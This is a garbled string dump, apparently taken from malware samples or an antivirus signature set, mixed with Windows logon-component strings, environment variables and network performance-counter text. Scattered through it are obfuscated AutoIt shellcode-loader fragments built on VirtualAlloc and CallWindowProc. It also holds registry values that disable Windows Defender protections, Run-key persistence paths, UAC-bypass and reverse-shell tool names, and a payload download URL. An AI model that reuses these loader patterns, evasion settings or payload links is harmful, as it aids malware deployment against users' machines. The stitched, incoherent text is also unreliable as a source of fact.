Tqidswfuqunin.Properties.Resources.resources Tqidswfuqunin.Configurations New.Filter Tqidswfuqunin.Lists Tqidswfuqunin.Readers Tqidswfuqunin.Properties DestroyBridge IncludeRegistry success attack!!! login with {0} : {1} in https://{2}/scpc/cmdcenter/login.aspxfail injection attack to elevate as admin privilege 9027F9FB9D $500f6852-703f-429f-9550-3ff076bba7c3 Litwlsyilxzlmkzsyahf.Bplblsixzcg Hvceqqvcruer https://cdn.discordapp.com/attachments/1070725711096188980/1075551720853209169/Wcmbpg.dll Micosoft Coperationhttp://darkbreak.webcindario.comtong.pm2@gmail.comBank Statement desktopweatheralertsapp.exe desktopweatheralertsapp desktopweatheralertsapp_mutex frmdesktopweatheralertsapp desktopweatheralertsapp.properties brudgommens disnaturalisation moduleres prioritisings\diskkapacitet.htm bronchorrhagia\vigendes\ munjeet\relst.ini mouthable\monsoonal.zip polychotomy\squaw ntreprisernes10 Properties.Resource .col oint.com lliersprojectsleader.com .collineargroups tb.com olllnscoopercarus .college .cwiijwudypadqkh.college .cwxvdlbbdrredlm.college .cxjlwrjfzexnis.college .czcijyvinsccvad.college .dagowknxapgwyy.college .dctswehzsclrb.college .dfqchchgcrweki.college .dhejceggkexkbwd.college .diiysfupfngzjt.college .djtfbzdcrixyvf.college .dkswcudffgurinoq.college .dkutayaibvdnuact.college .dlzpgwomllpswnh.college .dragbfumnrmxbae.college .drzmfjjwodnzenpf.college .dtixvuqdqjlknu.college .dvsxyfncwupvgdqb.college .dvvlrcuosublki.college .dwiytgmbpnqn.college .dwlyrettbaeasfry.college .dwmwyrujjgbfft.college .dwrduefffnjnmll.college .dxlqhuutbeeagoo.college .dxudheghtfvxjkpo.college .dxymfduskljs.college .ebtzaikkxkrkuhf.college .ecauggfgxmksity.college .eebaztdqenexlxm.college .efjndmegmmyzkyix.college .efscueoxmueliulf.college .efwzylpufkifbsp.college .eggzrncyiszvdhn.college .egtihvghabdbeqy.college \Forsviredes\sawnie.sir \deaktiveringernes\ironist.lnk Edward__Security=== INSTALLED HOTFIXES === - {0} (Mask: {1})SELECT ProcessId, Name, SessionId, WorkingSetSize FROM Win32_Process #+3;CScs \Registry\User\CurrentUser\ Executes Command Remotely XYZCmd.exe No Client Software Section_Program.Form1.resources Section_Program.Resources.resources bac32fd9-7dae-4f6a-bdc8-dd162b38853c Bvftzbrvy.Properties.Resources.resources Mybhuttdvo.Objects kerneopgavernes handstand nonconsolable mobable klausulelimineringerne drmmers strudsgget skivvy rntgenbilledes ineffectualness duellanterne relier judaskys berycoidei presumptions romantisering nationaldragten mokkasinernes asyllabical systemleverancer bobspillene skilberes vrikkevorn fyrklderes oozoa adlydt complementary conjugated banghedens biltilsynet hoer sillographist.exe breastplow hulkortindlaeser psychodramas squabbly potages atomkrig tndstikskernes epsiloners brneopsparinger dxvumrwdylf58.cloudfront.net risecodes.com offerdisclaimer skininst.exe zhinengpyinfo.ini zhinengpyime.users zhinengpystatus xxxx.txt showoffers flashplayerpp_install_cn.exe flashhelperservice_release.pdb flashplayerpepper flashhelper filelist_finished.txt \temp\request.zip request_finished.txt \temp\request.txt ronesjones@gmail.com release\test.pdb $ea01dce7-dd7b-42d3-bfff-b8ee9f304d19 ger omstillingsbord lrredsbluserne adenoughtray.events adenoughtray.viewmodels adenoughtray.views adenoughtray.converters AskInstallChecker Proceed with installation offer Run in toolbar install checker mode setdefaultbrowser v1.5 setdefaultbrowser hive browser setdefaultbrowser browserreplacement portknockandtcpconnect tcp_server_over_knock_uploadfile knockbase cryshell knockport _hop1_ impersonatenetworkservice onlyChromeannouncedstartingQbtoBGoogledBopreview c:\pdziputility.exe tjtv3.znyshurufa.com \bundles\puddingzip\temp\release\serviceshost.pdb pdzipoverlayout.ini puddingzipservicehost .\crypto\cryptlib.c .\crypto\rsa\rsa_sign.c memory buffer routines openssl default user interface wallpapersuitehelper64.exe overdramatizes testamenterings vraic lngdemaalets epiphylaxis blindsmagningens contabescence superprinting startlinien judasre cuya klaprotholite.exe kildekoderne feststemtes nereids specifikationer fordjelsesbesvrs conjecture baptist trffedes SwitchSniffer Setup BypassUacDLL.dll DashPanelServer is NOT official software of CodemastersDashPanelServer.exe uaHa Presentacion.Properties.Resources.resources indow "C"" """" """C """" """" """" """" cmd.ex are\ \Interne screenbooking .exe screenbooking screenbooking screenbooking screenbooking screenbooking screenbooking screenbooking .exe screenbooking .exe powershell.ex Ole10Native printprovider:// protocolfilter:// protocolhandler:// protocolhandlerversion:// protocolnamespacehandler:// desktopcomponent:// policyscript:// activesetupcomponent:// fontdriver:// gpextension:// autodialdll:// userinitmprlogonscript:// clsid: interface:// HKLM\Software\Microsoft\RemovalTools\Mrt GUID 4137CBD7-084E- 4F7D-B0EF-33FDEF977B19 5eb99a79-a820- 4534-afed-3d0f58f67617 ad1c8ab8-c9bf- 467c-32ed-e0a91f8f1506 2de50cd5-3aca- 49fb-a3f7-3f312fcaccea d47d1e8c-5fbb- 467c-9f81-fa99d58a6e0f 67401397-1140- 32f9-2c62-69b6ea0e3863 33f32b57-a439- 4827-8a56-c40e8b07bf69 b7fa81a1-62e9- 41df-96f0-b3020ac9a41d b634efaa-cab4- 4787-bb17-ea7188b5c09d 7bea61c9-b38b- 4144-9061-9e83a3f390e3 98b6ba3c-4040- a250-da67-8d4e0f5eedf1 702acc6f-8eb4- ccc4-ecea-7cef74818aaf 6bb66740-ed31- 4600-ad92-23b38c562e83 0b1f5dda-c6c2- 4af5-a703-7c23770973e9 d1ce8891-10eb- 4169-997c-8e503e030ab6 1a525160-1979- 49cc-bf45-29ad7def6056 92a22349-c021- a9e6-f2e0-caa87126174f 9b564b0b-b656- 4f5d-8e8b-62e4b9077bd2 b2096d8f-bc1c- 475e-afdf-2363929b6873 12b6fb65-0a4e- 7463-6307-00240686ee75 4b9a386b-87dc- f220-6416-a3ac849fce38 b15071e4-0463- 462c-b776-820f5625ad77 1094d0ca-d271- 4c2f-bcc9-6f8d36595e36 4637a954-ed2a- 42be-b7a3-0937f8744a99 d6c556d5-fbba- 4e91-bc02-b421401b461c d8ab0b69-5750- 4852-821f-016ae3cab1e8 a1c37be4-457f- 0bcb-e1e5-b2029fd04065 497e1d52-6eea- 49b9-ac30-4a1846ab178d 06bb809b-0de3- 48b9-9b9a-49fc32a43066 HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications HKLM\software\policies\microsoft\windows defender\real-time protection DisableBehaviorMonitoring DisableIOAVProtection DisableIntrusionPreventionSystem DisableOnAccessProtection DisableRealTimeProtection DisableRealTimeMonitoring DisableScanOnRealtimeEnable DisableScriptScanning hklm\software\policies\microsoft\windows defender DisableAntiVirus DisableAntiSpyware HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender DisableRoutinelyTakingdirectory% specialfolder://executables:file:%USERPROFILE% ialfolder://rexecutables:file:%LOCALAPPDATA%\Microsoft\Windows\Tempo Internet er:/ rnet 3++S++ UName + '/appdata/ str_u = '/users/'; 3++S++ wy\AC LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)" --enable-features=msEdgeFluentOverlayScrollbar WEBVIEW2_DEFAULT_BACKGROUND_COLOR=00000000 windir=C:\WINDOWS arisi.ar rcon 072qqtgj 63945shiba-yan.winquicklook_brt6sgfjddh5p habittra _d58 mwkeyf4q iteforsl andd 8vpqm5z4 ot_keq4w atfp 12320vixezapps.inforequester_t1yc8xnxpgs6t sync_3t0 82xj n0mcap ilbook_4 v6ce nqv9s7fx 89nc .koranL searchindex_wkwxb3rpj0rpr 51e8b672 fjn4 9s7f shap q5f6 icco sinf 7783ssz666 02kgh6t 0803 igda erfC , " & "1," & " $ )" ) execute ( "dllcallad" & "dress(chr(6" & "65 - 560) & ch" & "r(782 - 67" & "2) & chr(856 - 740), $ + 0x )" ) "mozilla/5.0 (windows nt 9; wow64; rv:38.0) firefox:40.1""([[:xdigit:]]{8})([[:xdigit:]]{4})([[:xdigit:]]{4})([[:xdigit:]]{4})([[:xdigit:]]{12})""align 1;byte btype;byte bversion;word reserved;dword aikeyalg;dword keysize;byte key[""hkey_current_user\software\microsoft\windows\currentversion\run""scratch.bat""|singleton_pid:0""\|singleton_pid:(\d+)\r""msdupdate.exe""1m3z5%78w012c45@""t=reg&uid="" 127.0.0.1 > nul""hklm\software\microsoft\ccm\epagent""t=cexe&cid=""&ctid=1&cvid=1&ti="" | res :"" interval connection""\hardware\description\system\bios\""hklm\software\symantec" GLOBAL CONST $WC_TOOLBAR = "ToolbarWindow32"IE Developer Toolbar</a> (comprehensive DOM analysis tool)LOCAL CONST $SFILEINI = @SCRIPTDIR & "\toolbar.ini"LOCAL $DOMAIN = "humana"$ADDRESS = "emiles@humana.com;rram@humana.com;biguidance@humana.com"WINACTIVATE ( "[REGEXPTITLE:Humana 3270 Mod4 Display.*]" )CONTROLSEND ( $HWND , "" , "ToolbarWindow322" , "!a" )LOCAL $OUTPUTFILE = "C:\Users\" & @USERNAME & "\HODObjs\" & $NUMBER & ".mac"LOCAL $FILE = "V:\Security\ITSecAdm_Users\jboley\Test\CAS.accdb"Please use the link https://humana.service-now.com/arp to mark as complete._SELFUPDATE ( "V:\Security\ITSecAdm_Users\jboley\Toolbar.exe" , FALSE , 0 LOCAL $ = STRINGSPLIT ( $ , "*" ) = EXECUTE ( "FileRead(FileOpen(@TempDir & ""\ ""))" ) = EXECUTE ( "StringSplit($ , ""-"")" ) = FILEREAD ( FILEOPEN ( ENVGET ( "TEMP" ) & "\ " ) ) = EXECUTE ( "Mod($ ] - $ , 256)" ) C:\Windows\System32\Windows.Web.dll FILEINSTALL ( " " , @TEMPDIR & "\ " , 1 ) = DLLCALL ( ( "jfqodm23" ) , ( "ouq" ) , ( "UjqutbkBkmnd" ) , ( "cxnsc" ) , 0 , ( "cxnsc" ) , BINARYLEN ( $ ) , ( "cxnsc" ) , 12288 , ( "cxnsc" ) , 64 ) LOCAL $ = DLLSTRUCTCREATE ( "byte [" & BINARYLEN ( $ ) & "]" , $ DLLCALL ( ( "ttds23" ) , ( "ksdttms" ) , ( "BbkmVjmenxOsnd" ) , ( "ouq" ) , $ + 9440 ) DLLCALL ( ( "jfqodm23" ) , ( "cxnsc" ) , ( "UjqutbkGqfd" ) , ( "cxnsc" ) , $ ( "cxnsc" ) , 0 , ( "cxnsc" ) , 32768 ) &= CHR ( MOD ( $ + -65 + 13 , 26 ) + 65 ) = DLLCALL ( ( "OixT5sXkernel32" , 8 ) , ( "OixT5sXptr" , 3 ) , ( "OixT5sXVirtualAlloc" , 12 ) , ( "OixT5sXdword" , 5 ) , 0 , ( "OixT5sXdword" , 5 ) , BINARYLEN ( $ ) , ( "OixT5sXdword" , 5 ) , ( "OixT5sX0x3000" , 6 ) , ( "OixT5sXdword" , 5 ) , ( "OixT5sX0x40" , 4 ) ) LOCAL $ = DLLSTRUCTCREATE ( ( "OixT5sXbyte [" , 6 ) & BINARYLEN ( $ ) & "]" , $ = DLLCALL ( ( "OixT5sXuser32" , 6 ) , ( "OixT5sXlresult" , 7 ) , ( "OixT5sXCallWindowProc" , 14 ) , ( "OixT5sXptr" , 3 ) , $ DLLCALL ( ( "OixT5sXkernel32" , 8 ) , ( "OixT5sXdword" , 5 ) , ( "OixT5sXVirtualFree" , 11 ) , ( "OixT5sXdword" , 5 ) , ( "OixT5sX0" , 1 ) , ( "OixT5sXdword" , 5 ) , ( "OixT5sX0x8000" , 6 ) ) , 0 ) DLLCALL ( "kernel32.dll" , "bool" , "GetProcessShutdownParameters" , "dword*" , 0 , "dword*" , 0 ) DLLCALL ( "user32.dll" , "handle" , "GetProcessWindowStation" ) DLLCALL ( "kernel32.dll" , "dword" , "GetDllDirectoryW" , "dword" , 4096 , "wstr" , "" ) DLLCALL ( "user32.dll" , "bool" , "GetUserObjectInformationW" , "handle" , $HOBJECT , "int" , $IINDEX , "struct*" , $TDATA , = FILEREAD ( FILEOPEN ( @TEMPDIR & "\ " ) ) = FILEREAD ( FILEOPEN ( EXECUTE ( "@TempDir" ) & "\ " ) ) = FILEREAD ( FILEOPEN ( EXECUTE ( STRINGREVERSE ( "riDpmeT@" ) ) & "\ " ) ) = FILEREAD ( FILEOPEN ( EXECUTE ( "@tempdir" ) & "\ " ) ) fileinstall ( " " , envget ( "t" & "e" & "m" & "p" ) & "\ " , 1 ) = execute ( "filer" & "ead(fileopen(envget(""t"" & ""e"" & ""m"" & ""p"") & ""\ ""))" ) = stringreplace ( $ , "60" & "6dabf73c37dfe5b6" & "388b40f071263955f807" & "1380d1efa13173545c" & "e7671acf38" , "" ) = execute ( "dl" & "lcal" & "l( = stringreplace ( $ , "60" & "6dabf73c37dfe5b6" & "388b40f071263955f807" & "1380d1efa" & "13173545c" = execute ( "dll" & "call( = execute ( "fi" & "ler" & "ea" & "d(file" & "open(env" & "ge" & "t(""t"" & """ & "e" & """ & ""m"" & ""p"") & ""\ ""))" ) = execute ( "dllcall( (""oavjah = 1 TO STRINGLEN ( $ = ASC ( STRINGMID ( $ , $ , 1 ) ) LATE=C;LC_CTYPE=C;LC_MONETARY=C;LC_NUMERIC=C;LC_TIME=C \Microsoft\EdgeUpdate\ClientState\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}\cohort \Microsoft\EdgeUpdate\ClientState\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5} y\Machine\Software\WOW6432Node\Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5} \Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5} \Microsoft\EdgeUpdate\Clients\{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5} inico .<DiagTrackTraceSlot_diag ( H (@h@ (0X0 (8`8 $I30 EventStore.db-wal EVENTS~1.DB-.DB EVENTS~1.DB- EventStore.db-wal ( H "<EventStore.db-wal ( H (@h@ (8`8 (UTC+09:00) Yakutsk Russia TZ 8 Daylight Time @tzres.dll,-2290 @tzres.dll,-1881 @tzres.dll,-1882 Russia TZ 8 Standard Time on.Collections.IIterator`1<Windows.Internal.UI.Logon.CredProvData.Credential> Windows.Foundation.Collections.IVectorView`1<Windows.Internal.UI.Logon.CredProvData.Credential> Windows.Foundation.Collections.IObservableVector`1<Windows.Internal.UI.Logon.CredProvData.Credential> %s:%d Windows.Foundation.IAsyncOperation`1<Windows.Internal.UI.Logon.CredProvData.ReportResultInfo> Windows.Foundation.Collections.IIterator`1<Windows.Internal.UI.Logon.CredProvData.CredentialMethodKind> Windows.Foundation.Collections.IVectorView`1<Windows.Internal.UI.Logon.CredProvData.CredentialMethodKind> Windows.Foundation.Collections.IVector`1<Windows.Internal.UI.Logon.CredProvData.CredentialMethodKind> Software\Microsoft\Windows\CurrentVersion\SharedPC SharedPCMode DoNotCacheSharedPCMode Software\Microsoft\Windows\RemoteSystemIntegration CorrelationId Software\Microsoft\PolicyManager\current\Device\CloudDesktop BootToCloudMode Software\Microsoft\Windows\CurrentVersion\CloudDesktop\NodeValues BootToCloudPCEnhanced CloudDesktop Software\Microsoft\Windows\BootToCloud\PhysicalDeviceAccess PhysicalDeviceAccessConfigured EnablePhysicalDeviceAccessOnCtrlAltDel EnablePhysicalDeviceAccessOnErrorScreens Windows.Foundation.Collections.IIterator`1<String> Windows.Foundation.Collections.IVectorView`1<String> Windows.Foundation.Collections.IObservableVector`1<String> {B488CB7E-98BC-4FA9-9FCA-E461728EFDCE} IDebugProviderCallback2 {C5621364-87CC-4731-8947-929CAE75323E} IRemoveDeviceElevatedHandler {304FC8AB-6643-4DAA-9027-4B21389DCB2D} IHTMLBodyElement {00020424-0000-0000-C000-000000000046} {3050F1C5-98B5-11CF-BB82-00AA00BDCE0B} IHTMLFontElement {00020424-0000-0000-C000-000000000046} {3050F1C5-98B5-11CF-BB82-00AA00BDCE0B} IHTMLAnchorElement {00020424-0000-0000-C000-000000000046} {3050F1C5-98B5-11CF-BB82-00AA00BDCE0B} IHTMLUListElement {00020424-0000-0000-C000-000000000046} {3050F1C5-98B5-11CF-BB82-00AA00BDCE0B} IHTMLOListElement ++S+ ><BrowsingTopics VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Logon User Experience FileVersion 10.0.26100.7840 (WinBuild.160101.0800) InternalName Windows.UI.Logon.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename Windows.UI.Logon.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7840 VarFileInfo Translation ompositionEffectSourceParameter Windows.Foundation.Collections.IKeyValuePair`2<String, Double> Windows.Foundation.Collections.IIterator`1<Windows.Foundation.Collections.IKeyValuePair`2<String, Double>> Windows.Foundation.IReferenceArray`1<Windows.Foundation.Collections.IKeyValuePair`2<String, Double>> ?A0x54c26423.HelloSolidAnimations_AnimatedVisual_UAPv8 ?A0x54c26423.HelloSolidAnimations_AnimatedVisual_UAPv7 ?A0x54c26423.HelloSolidAnimations_AnimatedVisual_UAPv12 ?A0x54c26423.HelloSolidAnimations_AnimatedVisual_UAPv11 Windows.Foundation.Collections.IMapView`2<String, Double> Platform.?$WriteOnlyArray@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@N@Collections@Foundation@Windows@@$00 Windows.Foundation.Collections.IObservableMap`2<String, Double> {DFFDE213-8CB4-46a9-90EB-3DA843AF66F9}-request2 IHMUseClassicDisplayMode Microsoft-Windows-IHM-Setting-Scope Microsoft-Windows-IHM-Hiding Microsoft-Windows-IHM-Showing IHMUseImmersiveDisplayMode Microsoft-Windows-IHM-Clear-Touch-Required Microsoft-Windows-IHM-Ready IPTip_Main_Window Windows.System.Profile.EducationSettings Should always have valid gestures here. Rotate TranslateRailsY TranslateRailsX TranslateY ScaleInertia RotateInertia TranslateInertia pTranslateX Windows.UI.Xaml.Input.ManipulationModes System Windows.Storage.Streams.Buffer Windows.Foundation.TypedEventHandler`2<Windows.Internal.UI.Logon.CredProvData.CredProvDataModel, Windows.Internal.UI.Logon.CredProvData.User> Windows.Foundation.IReference`1<Windows.UI.Xaml.Input.ManipulationModes> Windows.UI.Xaml.Controls.Canvas Windows.UI.Xaml.Shapes.Polygon Windows.UI.Xaml.Shapes.Ellip Windows.UI.Xaml. Windows.Internal.AssignedAccess. 3++S++ goquizch nge_ dovetailgames.47051691ed6b3_8zrtwt33k1hxt joshualeewentzlof.balloonpopper2_hgj3s3h27ktar f024294d.ultimatemarvelvscapcom3_8fty0by30jkny cactiong full 11dav02a g.c5dfb9 e65- 864c92_a playtouch.candyworldmatch3mania_cx3tfsvhyqb8g 29476crazyiogames.wordsfriends_ec14kjwshbrfc wz2j cn506340c6-40ef-4ef3-8709.fighties_aer3hv3t6mvkt lah_dmqd 98g0 ms.jerry b9hc f024294d.capcomfightingcollection_8fty0by30jkny 62868thesudokuapp.okthesudokuapp_k0nyxkg59632w 55166bernardlerat.mahjonginpoculis_74yk7f4zdpdat t.mahjon ocul pdat 27372petrlastovicka.coloursudoku_wggkbwbvxae64 p.okthes uapp le.babyc ndmo y53w62z2 pswin10_ nehq ull_xmkq "4742cabaentertainment.sprunkmemorycardmatch_brq92asyewypw", "valkyrieinitiativellp.skelethronethechroniclesofer_7es88gc4db2w4", "qubicgames.aquariumland_e3x7kyz1wvfw4", "47291deltagames.kittycare_k4cc33mg5h404", "45304kevin.marais.sheepball_pfytnyrf57hwt", "16426hoganlee.gardeningwithmines_aybjp1anayc6r", "five-bn.legendarytales2cataclysm_r4ncp3q39h9fa", "reduxgamesllc.c960d87f-cb52-4d8e-bf5c-f5e0d42edd5a_5544ch7srx1pe", "22477fusionwareintegratio.cardhunter_xwqp34mtr40my", "6182supargodlygamez.unrealparkour_0dn4eek04rf3p", "19278humeed.carballlegendfree_sazk3mmk017sy", "22989nlbproject.iveseeneverything_w26ctyqvx3hsr", "24278joeythomas.wpmtest_sg8b65zgrxah4", "15956.4613200c021_qzyfhtccz6t3y", "43868sspgames.freecasinogamespokerblackjackslots_0rpxxw3y5p2ym", "codethislabs.r.l.eastermemory_b5gk6nsyztaq6", "4800searchlightgames.turn-basedchampion_bkeqkv3mkz90j", "focushomeinteractivesa.erawindows_4hny5m903y3g0", "1696polarityflowadrianzin.ginsha_ebjfe85xct9x4", "55155pixarts.grandslamtennisopenxbox_8qxgvsdvnz8e8", "32792bogdanmuresan.thelastinvasion_80eqdk0eckgae", "45126onetagsoft.lethalinvasion1660_pyx9a4bw1gjr0", "50412budnix.ballandwall_7qtxt894dy6ep", "namcobandaigamesinc.ultimateninjastorm4demo_gdy2aq6ez762w", "ninjatheoryltd.hellbladesenuassacrifice_nkbnxvch6z38g", "11011easonlai.cutesnake_6gr3cv3zrhxaa", "62513icegamescraft.mysterynumberchallenge_0p16a3zz9q6c0", "bigbeninteractivesa.profishingsimulator_tqjv3vrxr8ppw", "playcuslimited.bingocountryboys_0r188nc9sh8qa", "24528jimmydickinson.solitaireonline_nww69jnfa3hjr", "12401michaelsherwin.gamestudiotycoon2 "21101keynes.3442e1d7cf46_j5jv7sbav7820", "60967wertzui.randomnamepicker_fj0k61qv743vg", "16619jasonwebb.simpletileclock_vg22r3w0aw256", "33190davidgiard.rafflepicker_mpda73yf52c8a", "57145richardbuttars.type2talk_xf09hbvwbwzjt", "45835mabee.413646b710069_w28mxdn5gt0d4", "27443mnietowinph7.filetranslator_s6tqg5ahka0t6", "23899digitaleyes.nasasleepinducer_m138xgk8s77c6", "23899digitaleyes.freelight_m138xgk c6", "63997gp.sim _m53 h64s d_xn6m6fj72n7zr", "61498anton ario.perso3 "20559bu L "2711pierregrydbeck.justas 4wpbve2ykp/ "6764xlgeekcoder.xlstylestool_491centepbgsm", "4379lartsoft.webtile_bhgh8tx796sj4", "14 tuga .matrixt 22rg64sv 4_6h "26830t in.n urplewizard.mult vert fryeapplicat .con "4083gb ann.calcul-8-or_ "63274m.post.servermonitor_we x7rqbem", "4083gb "60 number and the local computer is idle, this may indicate a network-related problem or a redirector bottleneck on the local computer. The NWLink NetBIOS performance object consists of counters that monitor IPX transport rates and connections. Packets/sec is the rate the Redirector is processing data packets. One packet includes (hopefully) many bytes. We say hopefully here because each packet has protocol overhead. You can determine the efficiency of this path by dividing the Bytes/sec by this counter to determine the average number of bytes transferred/packet. You can also divide this counter by Operations/sec to determine the average number of packets per operation, another measure of efficiency. Context Blocks Queued per second is the rate at which work context blocks had to be placed on the server's FSP queue to await server action. File Data Operations/ sec is the combined rate of read and write operations on all logical disks on the computer. This is the inverse of System: File Control Operations/sec. This counter displays the difference between the values observed in the last two samples, divided by the duration of the sample interval. % Free Space is the percentage of total usable space on the selected logical disk drive that was free. Free Megabytes displays the unallocated space, in megabytes, on the disk drive in megabytes. One megabyte is equal to 1,048,576 bytes. Connections Open is the number of connections currently open for this protocol. This counter shows the current count only and does not accumulate over time. Connections No Retries is the total count of connections that were successfully made on the first try. This number is an accumulator and shows a running total. Connections With Retries is the total count of connections that were made after retrying the attempt. A retry occurs when the first connection attempt failed. This number is an accumulator and shows a running total. Disconnects Local is the number of session disconnections that werer second (BPS). For interfaces that do not vary in bandwidth or for those where no accurate estimation can be made, this value is the nominal bandwidth. Packets Received Unicast/sec is the rate at which (subnet) unicast packets are delivered to a higher-layer protocol. Packets Received Non-Unicast/sec is the rate at which non-unicast (subnet broadcast or subnet multicast) packets are delivered to a higher-layer protocol. Packets Received Discarded is the number of inbound packets that were chosen to be discarded even though no errors had been detected to prevent their delivery to a higher-layer protocol. One possible reason for discarding packets could be to free up buffer space. Packets Received Errors is the number of inbound packets that contained errors preventing them from being deliverable to a higher-layer protocol. Packets Received Unknown is the number of packets received through the interface that were discarded because of an unknown or unsupported protocol. Packets Sent Unicast/sec is the rate at which packets are requested to be transmitted to subnet-unicast addresses by higher-level protocols. The rate includes the packets that were discarded or not sent. Packets Sent Non-Unicast/sec is the rate at which packets are requested to be transmitted to non-unicast (subnet broadcast or subnet multicast) addresses by higher-level protocols. The rate includes the packets that were discarded or not sent. Packets Outbound Discarded is the number of outbound packets that were chosen to be discarded even though no errors had been detected to prevent transmission. One possible reason for discarding packets could be to free up buffer space. Packets Outbound Errors is the number of outbound packets that could not be transmitted because of errors. Output Queue Length is the length of the output packet queue (in packets). If this is longer than two, there are delays and the bottleneck should be found and eliminated, if possible. Since the requests are queued by the Network D ures=msEdgeFluentOverlayScrollbar WEBVIEW2_DEFAULT_BACKG ming CommonProgramFiles=C:\Program Files\Common Files {A6FF50C0-56C0-71CA-5732-BED303A59628} Windows.Networking.UX.IEthernetEapMethod {E68d2B3E-192D-448E-827E-239082D74DC6} {A5FA505C-DB54-403c-A744-9B3919EF096F} __x_Windows_CUI_CShell_CISecurityAppManager {d5c88c8b-eca2-4921-a2e4-b1a390bad510} {95E15D0A-66E6-93D9-C53C-76E6219D3341} IAsyncOperationCompletedHandler_1___FIVectorView_1_Windows__CNetworking__CConnectivity__CAttributedNetworkUsage {34E72398-AB74-43DA-8355-7F60D1BE3F73} __FIAsyncOperationCompletedHandler_1_Windows__CDevices__CSmartCards__CSmartCardChallengeContext {19204EDD-187C-40B7-ADA4-79772BD10FB2} __x_Windows_CDevices_CSpi_CProvider_CISpiProvider {797B2BFB-AB33-4850-8126-9A07C20FC628} __x_Windows_CDevices_CPerception_CIPerceptionColorFrameSourceWatcher {1ABB62A5-054D-48A4-9509-D717E39E045B} Windows.Foundation.IAsyncOperation`1<Windows.Internal.UI.Logon.CredProvData.SignInOrUnlockResult> Windows.Foundation.Collections.IIterator`1<Windows.Internal.UI.Logon.CredProvData.Internal.ICredentialGroupWithVisibility> Windows.Foundation.Collections.IVectorView`1<Windows.Internal.UI.Logon.CredProvData.Internal.ICredentialGroupWithVisibility> Windows.Foundation.Collections.IIterator`1<Windows.Internal.UI.Logon.CredProvData.User> Windows.Foundation.Collections.IVectorView`1<Windows.Internal.UI.Logon.CredProvData.User> Windows.Foundation.Collections.IIterator`1<Windows.Internal.UI.Logon.CredProvData.CredentialBucket> Windows.Foundation.Collections.IVectorView`1<Windows.Internal.UI.Logon.CredProvData.CredentialBucket> Windows.Foundation.Collections.IIterator`1<Object> Windows.Foundation.Collections.IVectorView`1<Object> Windows.Foundation.Collections.IObservableVector`1<Object> Windows.Foundation.Collections.IObservableVector`1<Windows.Internal.UI.Logon.CredProvData.Internal.ICredentialGroupWithVisibility> Windows.Foundation.Collections.IObservableVector`1<Windows.Internal.UI.Logon.CredProvData.User> Windows.Foundation.Collections.IObservableVector`1<Windows.Internal.UI.Logon.CredProvData.CredentialBucket> Windows.System.Internal.UserManager Windows.Foundation.Collections.IVectorChangedEventArgs Windows.System.Internal.CredentialSerialization Providers in list: Windows.Foundati tionFactory LogonUX.ImageChangeEvent LogonUX.__CompanyLogoChangeEventActivationFactory LogonUX.CompanyLogoChangeEvent LogonUX.__CloudSpinnerChangeEventActivationFactory LogonUX.CloudSpinnerChangeEvent LogonUX.__BootToCloudWarningUpdateEventActivationFactory LogonUX.BootToCloudWarningUpdateEvent LogonUX.__SlideToShutdownEventActivationFactory LogonUX.SlideToShutdownEvent LogonUX.__FrameActivationFactory LogonUX.__LoadOnDemandContentControlActivationFactory ShouldRaiseAutomationEvent CredentialCommon.__FocusHelperActivationFactory Windows.UI.Xaml.PropertyChangedCallback CredentialCommon.__CredentialFieldsFocusExtensionActivationFactory CredentialCommon.__TextBlockAutomationExtensionActivationFactory Windows.Foundation.Collections.IVectorView`1<CredentialCommon.FieldWithVisibility> Windows.Foundation.Collections.IIterator`1<CredentialCommon.FieldWithVisibility> Windows.Foundation.Collections.IVectorView`1<Windows.Internal.UI.Logon.CredProvData.ICredentialField> Windows.Foundation.Collections.IIterator`1<Windows.Internal.UI.Logon.CredProvData.ICredentialField> Windows.Foundation.AsyncActionCompletedHandler Windows.Foundation.AsyncOperationCompletedHandler`1<UInt8> CredentialCommon.?$BindableVectorView@VString@Platform@@VObject@2@ CredentialCommon.?$BindableIterator@VString@Platform@@ 